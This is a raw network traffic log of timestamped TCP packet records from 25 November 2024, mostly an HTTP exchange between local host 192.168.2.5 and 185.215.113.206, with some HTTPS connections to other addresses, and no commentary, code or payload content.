Nov 25, 2024 14:14:41.473964930 CET	443	49830	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.474045992 CET	49831	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.474056959 CET	443	49831	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.474275112 CET	49832	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:41.474287987 CET	443	49832	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:41.490468025 CET	49833	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:41.490477085 CET	443	49833	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:41.490547895 CET	49833	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:41.490874052 CET	49833	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:41.490884066 CET	443	49833	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:41.519757986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.786967993 CET	49836	443	192.168.2.5	23.200.88.17
Nov 25, 2024 14:14:41.787005901 CET	443	49836	23.200.88.17	192.168.2.5
Nov 25, 2024 14:14:41.787075043 CET	49836	443	192.168.2.5	23.200.88.17
Nov 25, 2024 14:14:41.787230968 CET	49837	443	192.168.2.5	23.200.88.17
Nov 25, 2024 14:14:41.787280083 CET	443	49837	23.200.88.17	192.168.2.5
Nov 25, 2024 14:14:41.787363052 CET	49837	443	192.168.2.5	23.200.88.17
Nov 25, 2024 14:14:41.787725925 CET	49837	443	192.168.2.5	23.200.88.17
Nov 25, 2024 14:14:41.787748098 CET	443	49837	23.200.88.17	192.168.2.5
Nov 25, 2024 14:14:41.788204908 CET	49836	443	192.168.2.5	23.200.88.17
Nov 25, 2024 14:14:41.788218975 CET	443	49836	23.200.88.17	192.168.2.5
Nov 25, 2024 14:14:41.846554041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.846621037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.846766949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.846782923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.846812963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.846836090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.846971035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.847027063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.847871065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.847942114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.848304033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.848361015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.849186897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.849261045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.849353075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.849561930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.849946022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.849997997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.850048065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.850970984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.851038933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.851074934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.851119041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.851839066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.851906061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.851917982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.852037907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.852921009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.852989912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.853095055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.853149891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.853991032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.854051113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.854161978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.854258060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.855137110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.855216026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.855520010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.855561972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.856218100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.856267929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.856462002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.856518030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.857462883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.857522011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.857760906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.857812881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.858449936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.858711958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.858764887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.859379053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.859460115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.859710932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.859765053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.860429049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.860486031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.860661030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.860747099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.861510992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.861567020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.861779928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.862093925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.862668037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.862711906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.863681078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.863699913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.863718033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.863738060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.863764048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.917171001 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:41.922089100 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:41.922111988 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:41.922964096 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:41.922969103 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:41.972954035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.973064899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.973396063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.973417997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.973450899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.973459959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.973465919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.973558903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.973855019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.973905087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.974282980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.974637032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.974961042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.975033045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.975070953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.975111961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.975764990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.975853920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.975900888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.976818085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.976870060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.977296114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.977349043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.977897882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.977969885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.978115082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.978166103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.979002953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.979053974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.979163885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.979305029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.980014086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.980063915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.980279922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.980331898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.981093884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.981137991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.981277943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.981362104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.982170105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.982222080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.982304096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.982774973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.983424902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.983494043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.983549118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.983658075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.984313965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.984410048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.984548092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.984595060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.985620022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.985774994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.985850096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.985898972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.986473083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.986488104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.986531973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.987642050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.987704992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.987786055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.987826109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.988620043 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:41.988663912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.988718033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.988795042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.988840103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.989315033 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:41.989336967 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:41.989825010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.989918947 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:41.989924908 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:41.989938974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.990024090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.990084887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.991758108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.991807938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.992012024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.992058039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.993805885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.993868113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.994215012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.994266987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.995647907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.995699883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.995712996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.995758057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.995986938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.996036053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.996134996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.996187925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.996654034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.996697903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.996896029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.996938944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.997617960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.997673035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.997811079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.997858047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.998543978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.998624086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.998697996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.998814106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:41.999387026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.999422073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:41.999465942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.000221968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.000281096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.000422001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.000474930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.000987053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.001041889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.001126051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.001171112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.001737118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.001802921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.001912117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.001954079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.002639055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.002717018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.002882957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.002969027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.003580093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.003648043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.003850937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.003907919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.004667997 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.004734039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.005176067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.005245924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.005752087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.005873919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.006082058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.006150961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.006748915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.006880999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.007067919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.007200003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.010108948 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.011084080 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.011121988 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.016552925 CET	49823	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.016563892 CET	443	49823	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.036257029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.036346912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.036452055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.036590099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.036751032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.036803007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.053076982 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.054064989 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.054105997 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.054676056 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:42.054682016 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:42.098575115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.098680019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.098787069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.098845005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.099067926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.099236012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.099483967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.099545956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.100040913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.100092888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.100477934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.100533962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.101013899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.101079941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.101110935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.101151943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.102191925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.102237940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.102866888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.103086948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.103395939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.103467941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.104037046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.104157925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.104325056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.104337931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.104381084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.105271101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.105519056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.105765104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.105813980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.106070042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.106129885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.106271029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.106375933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.107126951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.107175112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.107193947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.107230902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.108167887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.108234882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.108453989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.108503103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.109242916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.109277964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.109292030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.109321117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.110330105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.110553980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.110603094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.111387014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.111541986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.111572981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.111615896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.112550974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.112648010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.113106012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.113157988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.113735914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.113866091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.113914967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.114806890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.114872932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.115041971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.115094900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.115731001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.115791082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.115931034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.115976095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.116751909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.116806030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.116830111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.116874933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.117769003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.117903948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.174385071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.174458027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.174865961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.174887896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.174900055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.174925089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.174949884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.175947905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.175992966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.176151037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.176187992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.177031040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.177079916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.177494049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:42.177582026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:42.178040981 CET	80	49760	185.215.113.206	192.168.2.5
